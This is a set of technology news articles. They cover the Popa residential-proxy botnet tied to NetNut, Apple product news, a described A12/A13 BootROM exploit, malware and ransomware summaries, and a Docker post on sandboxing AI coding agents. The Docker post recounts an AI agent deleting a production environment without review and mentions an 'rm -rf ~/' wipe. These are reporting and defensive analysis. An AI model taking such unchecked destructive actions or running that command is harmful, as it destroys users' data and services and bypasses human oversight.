Ninjatech is a company founded by Moishi Kramer, whose LinkedIn profile says he is vice president of research and development at NetNut. That resume credits Kramer for helping NetNut to build from the “ground up,” “designing the architecture,” and “scaling the NetNut” before the company was acquired by Alarum Technologies. A self-created listing at the job board F6S references Kramer as the sole owner of the Ninjatech domain (a screen capture of it is pictured below).
Image: F6S.com.
Responding via email, Mr. Kramer said Ninjatech ceased operations approximately five years ago, when the company sold a software development kit (SDK) called Popa that was designed to use a small portion of a device’s bandwidth and to run only after the host application obtained user consent.
“That code was sold and licensed to third parties including resellers years ago,” Kramer said. “Once software is distributed that way, the original developer has no control over how others later modify, rebrand, or deploy it.”
Kramer said neither he nor NetNut builds, operates or maintains the infrastructure being described as Popa, nor does he control the Ninjatech domain.
“I didn’t register the June 2025 domains you mention, and I don’t know who did,” he continued. “I have no control over, or visibility into, that infrastructure. I can only tell you it isn’t operated by me or by NetNut.”
But in a separate Popa research report released today, the proxy-tracking company Synthient said a recent analysis of the Popa SDK revealed outbound traffic clearly associated with NetNut.
“The research team assesses with high confidence that devices running Popa forward traffic from Netnut clients,” Synthient wrote. “This proves without a shadow of a doubt that Popa actively continues to be used by NetNut as part of their proxy pool.”
Synthient’s platform receiving outbound traffic from Popa. Image: Synthient.com.
Alarum Technologies, NetNut’s Tel Aviv-based parent company, said the reports by Synthient and Qurium contained “demonstrably inaccurate assertions and flawed deductions rather than verified facts.” Alarum shared a statement saying they reject the basic characterization of the SDKs and technologies discussed in the reports as a “botnet.”
“The SDKs at issue are designed to facilitate bandwidth-sharing functionality and do not transform user devices into malware-controlled systems or otherwise compromise the devices on which they operate,” the statement reads. “Netnut operates a commercial proxy network and maintains policies, procedures, and technological measures designed to promote lawful and responsible use of its services.”
Alarum said NetNut places “significant emphasis on appropriate notice and consent mechanisms, conducts customer due diligence, monitors for potential misuse, and takes steps intended to detect and mitigate suspicious or unauthorized activity.”
“This method of operation is supported both by internal procedures and policies, including performing KYC checks and additional due diligence of NetNut’s customers, as well as employing various technological measures, designed to assist in identifying and addressing suspected misuse of the network,” their statement continued.
However, in a report released on June 8, the proxy tracking service Spur asserted that NetNut does not require corporate verification or meaningful “know your customer” procedures before allowing customers to purchase proxy access.
“An individual can sign up, pay, and route traffic through partner address space, including space belonging to institutions whose users never opted in,” Spur wrote. “The ‘verified corporations only’ claim is simply marketing for bandwidth sellers, not an access control on who actually uses the proxies.”
“Nor is NetNut the only front door,” Spur continued. “A number of downstream white labelers and resellers repackage the same ISP proxy pool under their own brands. These outlets typically perform no KYC at all, less scrutiny than NetNut itself, who at the very least might assign an account manager to potential users. Anyone who knows where to look can buy access through a reseller with nothing more than a burner email address and $5 in crypto.”
Synthient found that although the most recent builds of Popa (as of three months ago) have added the ability to ask the user for consent before installing proxy components, not all variants or previous versions of Popa contain this functionality.
“Of the over 20 genuine Popa publishers analyzed, none of them were observed asking for user consent,” Sythient wrote.
THE PREVALENCE OF POPA
Chris Formosa is senior lead information security engineer for Black Lotus Labs, a division of the Internet backbone carrier Lumen Technologies.
“What especially makes Popa dangerous is just how widely used NetNut is for reselling and sharing,” Formosa said, explaining that many other proxy services simply resell NetNut proxies rather than building out their own far-flung proxy networks. “So these Popa IPs appear in tons of different services all over the ecosystem, which makes it one of the most problematic and dangerous proxy botnets on the market currently.”
Formosa said the Popa botnet averages between 1.5 million to 2.5 million distinct IP addresses each day, relying on between 250 and 300 Internet addresses that are used to direct its activities.
“That’s why Popa is so dangerous,” Formosa said. “It may not be the largest botnet we have seen, but it is spread all over the industry, making its power very amplified.”
Formosa said while that makes Popa one of the larger botnets out there today, its numbers pale in comparison to those previously boasted by IPIDEA, a China-based proxy provider that until recently operated a daily pool of nearly 10 million devices that they resold as proxies to anyone. In January 2026, Synthient published research showing that multiple new large DDoS botnets had grown rapidly by tunneling through IPIDEA proxies into the local networks of unsuspecting TV box owners and infecting other Android-based devices behind the user’s firewall.
IPIDEA is based largely on SDKs used to view pirated streaming content on a vast number of TV box devices, but the service’s numbers have dwindled since January, when Google and industry partners took legal action to seize domain names that IPIDEA used to control devices and proxy traffic through them.
Jérôme Meyer, a security researcher at Nokia Deepfield, said the total population of devices participating in the Popa botnet may be far higher than Lumen’s estimates. Meyer told KrebsOnSecurity that Nokia is monitoring 26 of at least 359 known relay nodes for the botnet, and estimates that each relay node handles between 35,000 and 60,000 clients simultaneously.
“On the relay node subset I am looking at (26 of them), 750,000 unique sources in 24 hours,” Meyer wrote in response to questions.
Nokia Deepfield released its own report today on RoboVPN, a VPN app tied to the Vo1d botnet’s Popa plugin that Qurium attributes to NetNut/Alarum Technologies.
THE SYMBIOSIS OF PROXIES AND DATA SCRAPING
Experts say many of the world’s largest proxy providers have updated their public-facing branding to highlight their utility for training AI platforms, implying it is a primary use case for their residential proxies. That’s because AI services tend to rely on constantly mass-scraping the Internet for new text, images and video content that can be used to train large language models (LLMs).
NetNut and other proxy services have recast themselves as critical infrastructure for the AI scraping economy. Image: Synthient.com.
“AI companies depend on web-scraped content: for pre-training, for retrieval, for agent grounding, for search,” reads a report this month from Include Security that examines the prevalence of proxy SDKs in smart TV apps. “But the modern web isn’t scrapeable from a datacenter. Cloudflare, DataDome, HUMAN, among others throttle or block requests from known cloud IPs. The workaround is residential proxies. A scraping job routed through a Comcast or T-Mobile subscriber’s connection arrives at the target site from an IP that belongs to a paying residential customer.”
This non-stop content scraping has spawned more than 70 copyright infringement lawsuits against major tech companies that have acknowledged large-scale data scraping as a major source of the “brains” behind their commercial AI offerings. Ironically, much of that scraping is being aided by proxy services that are intimately tied to unofficial Android TV boxes and associated SDKs whose stated purpose is streaming pirated content.
The scraping activity has become so aggressive that it often overwhelms the targeted websites, preventing them from being reachable by legitimate visitors. In many reported cases, nonprofit organizations, libraries and universities have complained of constantly battling to keep their services online in the face of relentless data-scraping firms hiding behind residential proxy services.
A survey conducted last year by the Confederation of Open Access Repositories (COAR) found while some content scraping bots are rather innocuous, “others are sufficiently aggressive that they are increasingly causing service disruptions in repositories and other scholarly communications infrastructures.” More than 90 percent of survey respondents indicated their repository is encountering aggressive bots, usually more than once a week, and often leading to slow downs and service outages.
“Automated web scraping is nothing new, and has been the key technology underlying search engines such as Google for over 30 years,” wrote Brendan O’Connell, platform manager at the Directory of Open Access Journals (DOAJ), a free, community-curated index of peer-reviewed academic journals. “However, the current investor-fueled AI startup craze means there are now thousands of well-funded companies developing and deploying their own scraping tools to train AI models, alongside existing major players like OpenAI and Google.”
DON’T TOUCH THAT DIAL!
Across the United States, local communities are pushing back against the proliferation of new data centers aimed primarily at improving the capabilities of AI. But security experts say the general public remains largely unaware that using one of these unsanctioned Android TV boxes means their “smart TV” is almost certainly using a significant amount of bandwidth each month to help train modern AI models.
Even households without these sketchy TV boxes can still have their smart TVs turned into residential proxy nodes, just by downloading one of thousands of apps made available on Samsung and LG smart TVs. Spur said it recently scraped the LG and Samsung app stores and found that each had approximately 3,000 apps available for download. Many of these apps are simple games or utilities that state in the fine print that the user’s Internet connection will be used to download data and that they can opt out at any time.
Spur said it found that more than 42 percent of apps available for download via the webOS operating system on LG smart TVs include SDKs that turn one’s television into an always-on residential proxy node. More than a quarter of the apps made for Samsung’s Tizen operating system had similar residential proxy components, Spur found.
Image: Spur.us.
Experts say it’s questionable whether TV apps with proxy SDKs can obtain meaningful consent from users for installing an always-on proxy connection, particularly when anyone in a household — including children — can effectively opt the family TV into a residential proxy network just by installing a simple game or app.
“Privacy-policy disclosure is the wrong control surface for a TV,” Include Security wrote. “It is hard to scroll through a legal document navigated by arrow keys on a remote, and the in-app consent dialog doesn’t convey that a paying customer is about to route their scraping traffic through the user’s home internet.”
Spur’s head of research Sean Simmons told KrebsOnSecurity that most people do not have a working mental model for what it means to sell access to their residential IP address, no matter what device they are using.
“And on a TV, the gap is even wider,” Simmons said. “A one-time prompt navigated with a remote can disappear into the setup flow, while the app keeps monetizing the connection long after anyone remembers what they accepted.
Simmons said LG and Samsung should follow the lead of other TV platforms that have already drawn a line against residential providers, pointing to policies by Amazon that prohibit apps facilitating proxy services for third parties. Likewise the TV streaming device maker Roku reportedly now bars developers from using proxy SDKs and has removed apps that bundled them.
Piracy related apps pushing proxy SDKs onto unconsenting users. Image: Synthient.
Apps that turn one’s device into a residential proxy node are not limited to smart TVs and no-name streaming boxes, of course. As noted by the security firm Infoblox, mobile app developers can embed SDKs provided by the residential proxy networks into their products to monetize their software, allowing them to receive a small amount of money on each installation.
The result, Infoblox said, is that devices are frequently enrolled without the owner’s knowledge, typically through free applications such as VPNs, streaming apps, screensavers and “productivity” apps such as PDF viewers and break reminders.
All too often, these proxy services are beaconing out from employee devices brought into the workplace, Infoblox found. In a blog post earlier this month, Infoblox said it discovered that fully 65% of its customer base was querying one or more residential proxy related domains.
“We saw steady growth in these queries in 2025, with a 25% increase over the year to over 500 billion per month,” Infoblox wrote. “Over 90% of our pharmaceutical and food & beverage customers have queried residential proxy indicators. Perhaps even more concerning is that over 60% of government and banking customers have as well.”
Infoblox researchers Nick Sundvall and David Brunsdon warned that with residential proxies in the corporate environment, external access is granted to an organization’s IP space.
“If threat actors were to abuse the residential proxy to attack a third party, the third party’s incident response would, correctly, identify your residential proxy as the source,” they wrote. “Untangling that, by proving that you were the conduit and not the threat actor, costs time, creates legal exposure, and can damage your reputation. The stunning prevalence of these services within customer environments warrants attention from both network defenders and policy makers who should consider how the risks posed by residential proxies could be impacting their security posture.”
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You Can Watch All of F1's 2026 Austrian Grand Prix For Free on Apple TV

Apple today announced that every part of Formula 1's 2026 Austrian Grand Prix (June 26 to June 28) will be streamed live on the Apple TV streaming service for free.

U.S. viewers can watch all sessions — including practices, qualifying, and the Grand Prix — with no subscription required.Related Roundup: Apple TVBuyer's Guide: Apple TV (Don't Buy)Related Forum: Apple TV and Home Theater
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Apple's A12 and A13 Chips Facing New Unpatchable Exploit

Security research firm Paradigm Shift today published details of a new BootROM vulnerability affecting Apple's A12 and A13 chips, along with a working proof-of-concept exploit named "usbliter8."


The BootROM, or SecureROM, is the first code an iPhone runs when it powers on. Because it is baked directly into the chip at manufacture, any vulnerability found there cannot be fixed with a software update, meaning affected devices will remain vulnerable for the rest of their lives.

The last publicly known BootROM exploit of this kind was "checkm8," released in 2019 which affected devices from the iPhone 4S through to the iPhone X. usbliter8 now extends that history to the next generation of chips, covering the iPhone XS through to the iPhone 11 series.

The exploit works by taking advantage of a bug in the USB controller built into Apple's chips. When an iPhone receives USB data during startup, the controller uses a memory buffer to store incoming packets. Paradigm Shift found that by sending a specific sequence of unusually small packets, they could manipulate an internal hardware pointer in a way that causes it to walk backwards through memory, allowing data to be written to locations it should never reach. The researchers say this appears to be a bug in the USB controller hardware itself, not in Apple's software.

The A11 chip, used in the iPhone X, is not affected because its USB driver manually resets the pointer after each packet. A14 and later chips are also safe, as they configure a memory protection feature correctly at the BootROM level. The A12 and A13 sit in a vulnerable middle ground between the two.

On A12 devices, gaining code execution is relatively straightforward. On A13 devices, things are considerably harder because Apple introduced a security feature called Pointer Authentication Codes (PAC), which detects and blocks certain types of memory tampering. Paradigm Shift says working around PAC on the A13 required a lengthy multi-step process before the researchers could finally take control of the processor.

Once in control, the exploit installs a custom handler that survives a device restart and adds two capabilities: temporarily lowering the device's security settings, and booting unsigned software without any verification checks. It also injects the traditional "PWND" string into the iPhone's USB serial number as a signal that the device has been compromised, a convention that carries over from checkm8 and earlier exploits.

Paradigm Shift notes that while usbliter8 does not affect the Secure Enclave directly, a BootROM compromise of this kind opens up wider avenues for attacking it. The firm says it reported its findings to Apple Product Security before publication and worked with Apple on coordinated disclosure. The full proof-of-concept code has been published alongside the write-up at ps.tc.Tag: Apple SecurityRelated Forum: iPhone
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Apple Announces Major App Store Changes on iOS in Brazil

Apple today announced that developers in Brazil will be allowed to distribute iPhone apps through alternative app marketplaces on iOS, and accept payments through third-party platforms. In other words, developers in Brazil will be able to circumvent the App Store and Apple's in-app purchase system, but there are still fees.


Alternative app marketplaces will have to be authorized by Apple and will need to meet ongoing requirements. For apps that are still distributed through the App Store, developers will be able to include an alternative payment processing method in their app and/or link users to a website to complete a transaction.

These changes are available on iOS 26.5 and later, and they are the result of regulatory action from Brazil's competition regulator. Apple has added a new page on its website with additional details for developers in Brazil.

Apple said these changes introduce privacy and security risks for users, including children. The company has introduced safeguards to mitigate these risks, including a notarization process for iOS apps, an authorization process for app marketplaces, and limitations on external links and alternative payments for users under the age of 18.

Apple has already allowed alternative app stores and/or third-party payment systems on iOS in the EU, Japan, and South Korea, and it will likely be forced to do so in the UK and Australia too, due to similar regulations in those countries.

Fees

iOS apps distributed on the App Store in Brazil will be able to take advantage of a lower commission of up to 21% on digital goods and services, down from a maximum of 30%, but many developers qualify for a commission as low as 10% through things such as the Small Business Program, Video Partner Program, and Mini Apps Partner Program.

If an app uses the App Store's in-app purchase system, there is an additional 5% fee.

Developers with iOS apps on the App Store in Brazil will pay a commission of 15% on transactions for digital goods and services made on a website linked to by the developer's app. In some cases, this commission will be lowered to 10%.

iOS apps distributed outside of the App Store in Brazil will be required to pay a 5% commission on the sale of digital goods and services, including paid apps. Apple says this "Core Technology Commission" compensates it for the tools, technologies, and services that enable developers to offer apps to iOS users.

By July 6, 2026, all current members of the Apple Developer Program will need to agree to an updated Apple Developer Program License Agreement, which includes new terms that allow for these options in Brazil.Tag: App Store
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iOS 27 Adds These New Features to Find My, Including 'Hide Location'

The upcoming iOS 27 update that Apple unveiled last week includes some new features and enhancements for Apple's Find My app on the iPhone.


iOS 27 is currently available as a developer beta, with a public beta to follow in July. The update is expected to be released to all users in September.

Below, we have outlined three additions to Apple's Find My app on iOS 27.

Hide Location


A new "Hide Location" option in Find My allows you to discreetly pause your location sharing with specific people until the end of the day — the other person will not receive any notification or alert about you temporarily hiding your location. Apple says it added this feature for situations such as surprise birthday parties.

Custom Durations for Location Sharing


Find My now lets you share your location with others for a custom duration between 15 minutes and 30 days. You can set a precise number of days, hours, and minutes, or you can set a set a date and time for your location sharing to expire.

On iOS 26, there are only three preset timeframes: indefinitely, until end of day, and one hour.

Landscape Mode


iOS 27 enables landscape mode in more of Apple's built-in iPhone apps, including Find My.

Landscape mode was already available on iOS 26 or earlier in Apple Maps, Calendar, Files, Notes, Mail, and some other Apple apps too, but iOS 27 expands support to many more apps. This change could be laying the groundwork for the "iPhone Ultra," as landscape-friendly apps would be well suited for the rumored foldable device.

To use landscape mode in a supported app, simply turn your iPhone sideways. Portrait Orientation Lock must be turned off in Control Center.Related Roundups: iOS 27, iPadOS 27Tag: Find My
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Three Ways macOS 27 Improves iPhone Mirroring

In macOS 27 Golden Gate, Apple has brought some meaningful updates to iPhone Mirroring besides a new app icon. Here's what's new.


macOS 27 is currently in developer beta, with a public beta coming next month and a general release expected in the fall.

Window Resizing

In macOS Tahoe, iPhone Mirroring is constrained to the iPhone's native aspect ratio, so window resizing is limited to the device's fixed proportions. Smaller, Actual Size, and Larger are the only options. By contrast, macOS 27 introduces support for multiple aspect ratios. Depending on the chosen aspect ratio, iPhone Mirroring displays either a modified iPhone interface or an app's available iPad layout. Adjustments are limited to iOS 27-compatible apps for now, but expect this to change when developers update their own apps. The change has also stoked speculation about a rumored foldable iPhone coming in September.

Control Center Access

In macOS 27, you can now access your iPhone's Control Center directly from your Mac using the Command-4 keyboard shortcut or via the View menu in the menu bar. Previously, iPhone Mirroring didn't support Control Center access at all.

DRM Support

macOS 27 also adds support for DRM-protected video playback in iPhone Mirroring. In macOS Tahoe, attempting to watch protected content, such as videos from streaming services or rented movies, results in a black screen on your Mac. With the next major update, however, you can view DRM-enabled content directly through the mirrored iPhone window.
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Microsoft Details Windows Clipper Malware Campaign Using USB LNK Worm and Tor-Based C2

Microsoft has disclosed details of a Windows-based cryptocurrency clipper campaign that has targeted users since February 2026. "The clipper in this campaign relies on Windows Script Host and ActiveX-driven logic to launch a bundled Tor proxy and poll a hidden-service C2 [command-and-control] server," the Microsoft Defender Security Research Team said in an analysis published Tuesday. "ItView the full article
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INC Ransomware Emerges as Major RaaS Threat in 2026 with 830+ Victims Since 2023

Cybersecurity researchers have charted the evolution of INC from an nascent ransomware-as-a-service (RaaS) operation to one of the most prolific cybercrime groups in 2026, claiming no less than 830 victims since August 2023. "The disruption of LockBit and the shutdown of BlackCat created opportunities for INC to expand as affiliates migrated to alternative ransomware operations," AcronisView the full article
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Samsung Takes $50 Off 2026 Monitors, Plus Credit Towards Future Purchases

Samsung's newest monitors are now available to purchase, including the Odyssey G8, ViewFinity S8, and Movingstyle Essential. All of these are available with a $50 launch discount, plus your choice of extras including up to $300 in Samsung credit on a future purchase, a free Music Studio speaker, or free Galaxy Buds4 Pro.

Note: MacRumors is an affiliate partner with Samsung. When you click a link and make a purchase, we may receive a small payment, which helps us keep the site running.

Starting with the Samsung Odyssey G8 monitors, you will find $50 discounts across every model of the new 2026 devices. Prices start at $899.99 for the 27-inch Odyssey G8 5K Monitor, and also include Samsung's first 6K monitor with the 32-inch Odyssey G8 6K Monitor for $1,549.99.

$50 OFF PLUS EXTRASSamsung 2026 Monitors

Samsung also has a new 40-inch ViewFinity S8 Curved Monitor on sale for $1,349.99, as well as the Movingstyle Essential Monitor for $849.99, both $50 discounts. Additionally, the company announced a 27-inch model of the ViewFinity S8, but it's not yet available for purchase.

43-inch Movingstyle Essential - $849.99 ($50 off), plus $200 Samsung credit
27-inch Odyssey G8 5K Monitor - $899.99 ($50 off), plus $200 Samsung credit
32-inch Odyssey OLED G7 4K Monitor - $1,049.99 ($50 off), plus $200 Samsung credit
27-inch Odyssey OLED G8 4K Monitor - $1,049.99 ($50 off), plus $200 Samsung credit
32-inch Odyssey OLED G8 4K Monitor - $1,249.99 ($50 off), plus $300 Samsung credit
40-inch ViewFinity S8 Curved Monitor - $1,349.99 ($50 off), plus $300 Samsung credit
32-inch Odyssey G8 6K Monitor - $1,549.99 ($50 off), plus $300 Samsung credit

If you're on the hunt for more discounts, be sure to visit our Apple Deals roundup where we recap the best Apple-related bargains of the past week.



Deals Newsletter

Interested in hearing more about the best deals you can find in 2026? Sign up for our Deals Newsletter and we'll keep you updated so you don't miss the biggest deals of the season!




Related Roundup: Apple Deals
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Coding Agent Horror Stories: The 13-Hour AWS Outage

In Part 1, we walked through six categories of AI coding agent failures and why they keep happening. The agent runs as you, with your filesystem permissions and your credentials, and nothing sits between the model’s decision and the shell’s execution. In Part 2, we looked at one specific version of that failure in detail, the rm -rf ~/ incident that wiped a developer’s entire Mac in a single command. Part 3 moves the same problem up the stack, into a production AWS environment where the blast radius is no longer one laptop but a regional cloud service.
What happens when the agent isn’t running on your laptop, but on a production AWS environment with operator-level credentials? You get a thirteen-hour outage, a public denial that fooled no one, and a series of follow-on incidents that cost Amazon an estimated 6.3 million orders before the company was forced to introduce what it called a “code safety reset.” 
Today’s Horror Story: The Agent That Deleted Production
In mid-December 2025, an AWS engineer asked Kiro for help with a small bug in AWS Cost Explorer, the dashboard customers use to track their cloud spending. Kiro is Amazon’s own agentic coding assistant. It had been granted operator-level access to the environment, the same access the engineer had, because that was how Kiro was being rolled out across the company at the time.
Kiro looked at the bug, weighed its options, and decided the cleanest fix was to delete the production environment and rebuild it from scratch. The engineer never got a chance to step in. There was no confirmation prompt, no second pair of eyes, no two-person rule, and by the time anyone could have intervened the deletion was already done. Cost Explorer went down for thirteen hours in one of AWS’s mainland China regions.
This was not a security breach. It was an AI coding agent doing exactly what it had been set up to do, running with the engineer’s full credentials, with nothing in the architecture to catch the moment between “delete and recreate” being a reasonable option to consider and a production service being torn down.
In this issue, you’ll learn:
What happened in the December outage, step by step Why Amazon’s “user error, not AI” response only told part of the story How the December incident set the stage for outages that cost an estimated 6.3 million orders by March 2026 The scoped-identity pattern that prevents this whole category of failure Why This Series Matters
Each “Horror Story” examines a real-world incident that turns laboratory findings into production disasters. These aren’t hypothetical attacks. They’re documented cases with named victims, internal memos obtained by reporters, and in several cases, public denials from the vendors. Our goal is to show the human and operational impact behind the security statistics, demonstrate how these failures unfold in practice, and provide concrete guidance on protecting your infrastructure through Docker’s scoped-identity execution model.
The story begins with an internal memo dated November 24, 2025. Three weeks before Kiro deleted the Cost Explorer environment, two of Amazon’s senior VPs, Peter DeSantis (AWS Utility Computing) and Dave Treadwell (eCommerce Foundation) signed and distributed an internal memo telling the company that Kiro was now the standardized AI coding assistant for the entire organization. The memo set a target of 80% weekly usage by every Amazon engineer by year-end 2025, and directed teams to stop using third-party AI tools unless a VP signed off on the exception.
Engineers came to call this the “Kiro Mandate.” Adoption was tracked as a corporate OKR, and engineers who weren’t using the tool showed up on management dashboards. The mandate was framed as a performance question, not a safety question, which mattered because the safety side of the rollout had not kept up. Things like peer review for destructive changes, approval gates for production access, and per-agent permission scoping had not been formally extended to AI-assisted work when the 80% target was set
Around 1,500 Amazon engineers signed an internal forum post pushing back, arguing that tools like Claude Code outperformed Kiro on real engineering tasks like multi-language refactoring. Management proceeded with the mandate anyway. By January 2026, 70% of Amazon engineers had used Kiro during sprint windows. Adoption was on track. The risk profile of what those engineers could do with the tool was a different story.
Then on February 20, 2026, the Financial Times broke the story based on accounts from four people familiar with the incident. The FT reporting also surfaced a second AI-related outage, this one involving Amazon Q Developer, on a separate system. Amazon’s response went up the same day under the title “Correcting the Financial Times report about AWS, Kiro, and AI.” It called the cause “user error, specifically misconfigured access controls, not AI as the story claims,” and dismissed the FT’s second-incident claim as “entirely false.”
The misconfigured access controls part is worth a closer look. A typo would have been “user error.” What actually happened was a structural decision to give an autonomous agent the same permissions as a human operator, in a system where the human’s safety net had always been a colleague asking “are you sure?” Kiro had no colleagues.

The Scale of the Problem
The December outage was the visible piece of a bigger pattern. Inside Amazon, briefing notes described a series of incidents with “high blast radius” tied to AI-assisted changes, with safety rules that had not yet been written for the way the agents were now being used. None of that language was ever shared publicly.
On March 2, Amazon.com showed shoppers the wrong delivery dates after they added things to their carts. About 120,000 orders were lost and 1.6 million people hit error pages. Amazon’s internal review pointed at one of its own AI tools, Amazon Q, as a main cause. Three days later, on March 5, the storefront went down for six hours and lost an estimated 6.3 million orders, with U.S. order volume dropping 99% while it was down. Both incidents traced back to AI-written code that had been pushed live without proper review.
On March 10, Dave Treadwell, the same SVP who had co-signed the Kiro Mandate four months earlier, announced a 90-day code safety reset across roughly 335 of Amazon’s most important systems. The new rules: two people had to sign off on every change going live, senior engineers had to approve AI-written code from juniors, and the automated checks were tightened. Treadwell called the new approach “controlled friction.” It’s a quiet way of saying the friction had not been there before, and that what arrived in March was what should have been in place in November.
How the Failure Works
To understand why these incidents happen, you have to look at the architecture underneath. Kiro was doing exactly what an agentic coding assistant is designed to do. The failure was in the system that surrounded it.
When Kiro runs on behalf of an engineer, it inherits the engineer’s full set of permissions. There’s no separate identity for “Kiro acting on behalf of someone,” no role with a narrower scope than the human who launched it. Whatever the engineer can touch, the agent can touch. This is the same property we walked through in Part 1 for filesystem access, applied here to cloud credentials instead. The agent gets a copy of the keys, every time.
Then there’s the loop. In most AI coding assistants the reasoning step and the execution step happen inside the same cycle. The agent thinks about what to do, generates the action, and runs it before the engineer has a chance to read what it decided. There’s no proposal stage, no preview screen, no “do you want me to do this?” gate that a human approves first. The deciding and the doing are one thing.
The speed makes this worse. Most safeguards in software engineering assume a human is the one making the change. A confirm? (y/n) prompt only protects against typos because a person sees it, pauses, and reads it. An agentic loop reads the same prompt and replies “y” in milliseconds. By the time anyone notices the agent has made a decision, the decision has already been executed. Post-hoc intervention isn’t really a thing in this environment.
And the reasoning that gets the agent there isn’t wrong. It’s just not bounded by the things that would have stopped a human. A senior AWS engineer with the same permissions would not have looked at a small bug in Cost Explorer and decided the right move was to tear down the production environment. They would have walked over to a colleague, posted in a Slack channel, paused to think about whether anyone had pinged them lately about that service. Kiro had the same permissions and skipped all of that, because none of it is part of how an AI agent makes a decision.
Kiro didn’t go rogue. It didn’t malfunction. It was optimizing for the objective it was given, which was to fix the bug, and “delete and recreate” is a legitimate solution in many engineering contexts. What was missing wasn’t smarter reasoning. It was the layer of friction that would have caught the moment between “this is a defensible option” and “this is happening to a live customer service.”
Technical Breakdown: How a Cost Explorer Fix Became a 13-Hour Outage
Caption: Diagram illustrating how operator-level permissions flow directly from engineer to agent to production control plane, with no scoped-identity boundary in between.
Here’s how the December incident unfolded, step by step:
1. The Request
An AWS engineer is looking at a small bug in Cost Explorer for the cn-northwest region. They hand it to Kiro the way they’d hand it to a colleague:
check the cost explorer issue in cn-northwest and propose a fix That’s the whole prompt. No special framing, no permissions caveat. It’s just routine maintenance.
2. The Reasoning
Kiro looks at the environment, finds the misconfiguration, and weighs its options. It could patch the misconfiguration in place, or redeploy specific components, or tear the environment down and rebuild it cleanly from the deployment templates. From a pure correctness standpoint, the last option is the most thorough, since it guarantees no residual state from the broken configuration. That’s the path Kiro picks.
3. The Inheritance
Kiro is running as the engineer. The engineer has operator-level access to the Cost Explorer production environment, including the ability to tear it down, because that’s the kind of operation a human operator might legitimately need during an incident. The control plane has no concept of “Kiro acting on behalf of the engineer.” It only has “an authenticated principal with sufficient permissions making a request.” From its point of view, the engineer is making the call.
4. The Execution
Kiro initiates the deletion, and the request runs in the seconds it takes to send the API call. There is no confirmation prompt the engineer could intercept in that window, no two-person rule waiting on a second approver, and no policy gate watching for the specific shape of “this command would tear down a production service.” The control plane sees a valid API call from an authenticated principal with sufficient permissions, and it processes the call the way it would process any other operator request.
5. The Outage
Cost Explorer in the affected region goes down, and customers across that region lose the ability to view, analyze, or manage their cloud spending. The outage ends up running for thirteen hours, with almost all of that time spent on recovery rather than detection, because the deletion itself completed in the seconds it took to send the API call. Rebuilding the environment from the deployment templates, validating the configuration against the expected state, restoring connectivity to the services Cost Explorer depends on, replaying the state the old environment had built up, and bringing the service back up in front of real traffic is the work that takes the rest of the day.
Internally, the incident enters Amazon’s Correction of Error process, while externally the story stays quiet for two months until the Financial Times breaks it on February 20, 2026. Amazon’s response, issued the same day, frames the cause as “user error, specifically misconfigured access controls,” and announces mandatory peer review for production access in the same breath. That second part is the architectural admission that something more than user error needed to be fixed.
The Impact
Within thirteen hours, AWS had:
Lost a production service for a regulated region (mainland China) where service continuity matters acutely Triggered an internal investigation that produced a post-incident briefing characterizing the failure as part of a “trend of incidents” with “high blast radius” Set the conditions for the follow-on incidents in March that cost an estimated 6.3 million orders The technical fix was simple. Mandatory peer review for production access. The reason it wasn’t in place from the start is the part that matters: nobody had updated the operational model to account for the fact that the entity making the change might be moving at a thousand times the speed of the entity reviewing it.
This is what one autonomous “delete and recreate” decision produces when the agent has the same credentials as the engineer who launched it.
How Docker Sandboxes Eliminates This Attack Vector
Issues 1 and 2 covered the commands you’d type to run an agent in a sandbox. This one is about what sits underneath those commands, because the Kiro incident isn’t really a CLI problem. It’s an architecture problem, and no command-line flag fixes the kind of gap the December outage exposed. What fixes it is the layer the flag sits on top of.
That layer is the microVM. Each sandbox runs inside its own dedicated microVM, with its own kernel, its own filesystem, its own network namespace, and its own Docker daemon. It’s hardware-boundary isolation, the same kind you get from a full VM, but optimized for the way agents actually work: spin up in seconds, throw away when done, no path back to the host. As Docker’s microVM architecture post explains, the bounding box has to come from infrastructure, not from a system prompt. An LLM deciding its own security boundaries is not a security model.
This is the part that matters for the Kiro case. Inside a microVM, the agent isn’t an extension of the engineer’s identity. It’s a distinct process with a distinct view of the world, running on a different kernel, talking to a different Docker daemon, reaching the network through a proxy that the agent cannot see or bypass. The credentials that would let a human operator delete a production environment are not in the agent’s process memory, not in its environment variables, not in any file it can read. They live outside the microVM boundary entirely.

Three architectural decisions that close the Kiro gap
The Docker Sandboxes architecture documentation describes how each layer of the design protects against a specific class of failure. Three of those layers are directly relevant to the December incident.
1. The workspace is mounted at the same path it has on the host, and nothing else is. The sandbox sees the agent’s workspace through a filesystem passthrough at the same absolute path. That’s the only thing it sees. The engineer’s home directory, their cloud configs, their credential files, their SSH keys, all of that lives outside the boundary. If the agent reasoned its way to a “delete and recreate” plan, the deletion would target the workspace, which is reproducible from source anyway. The host stays whole.
2. The Docker daemon lives inside the VM, with no path back. This is the design decision that separates Docker Sandboxes from approaches that look similar on the surface. Mounting the Docker socket from the host gives the agent escape paths. WASM and V8 isolates can’t run a full development environment. A general-purpose VM is too heavy to spin up for a single session. A microVM with its own Docker daemon is the only model that gives the agent a real working environment without any of those compromises. For the Kiro case specifically, it means the agent can investigate the Cost Explorer bug, build container images, run tests against them, and propose a fix, all without ever holding the credentials it would need to execute that fix against the live service.
3. A proxy on the host enforces credentials and network policy. All outbound traffic from the sandbox routes through an HTTP/HTTPS proxy running on the host, outside the VM boundary. This is the layer that directly addresses what went wrong with Kiro. Secrets are stored on the host, scoped to specific services, and injected into outbound requests by the proxy. The agent never sees the values themselves. It also can’t get around the proxy, because the proxy is the only way traffic leaves the microVM at all. If the agent decides to call a destructive control-plane endpoint, the proxy is what stops it, regardless of what the model has reasoned its way to.
Why this matters for the Kiro incident specifically 
Let’s replay the December scenario against this architecture. The engineer launches the agent inside a sandbox. The microVM boots in seconds, the workspace gets mounted, and the agent starts up without any AWS operator credentials in its environment. Those credentials are still on the host, where they belong. From here, the agent investigates the Cost Explorer bug exactly the way Kiro did, reasoning through the same options and quite possibly landing on the same “delete and recreate” plan. Nothing on the inside of the box has changed.
What changes is what happens when the agent tries to act. The deletion call leaves the sandbox through the only path available to it, which is the proxy on the host. The proxy checks the network policy and either authenticates the call with a scoped, read-only credential the engineer set up for investigation work, or it refuses the call because the destination wasn’t on the allowlist. Either way, the December outcome, the thirteen-hour production outage, simply doesn’t happen. The agent’s plan ends up in front of the engineer as a proposal. The engineer reads “delete and recreate,” recognizes that it’s too much for a small bug, and asks the agent to patch in place instead.
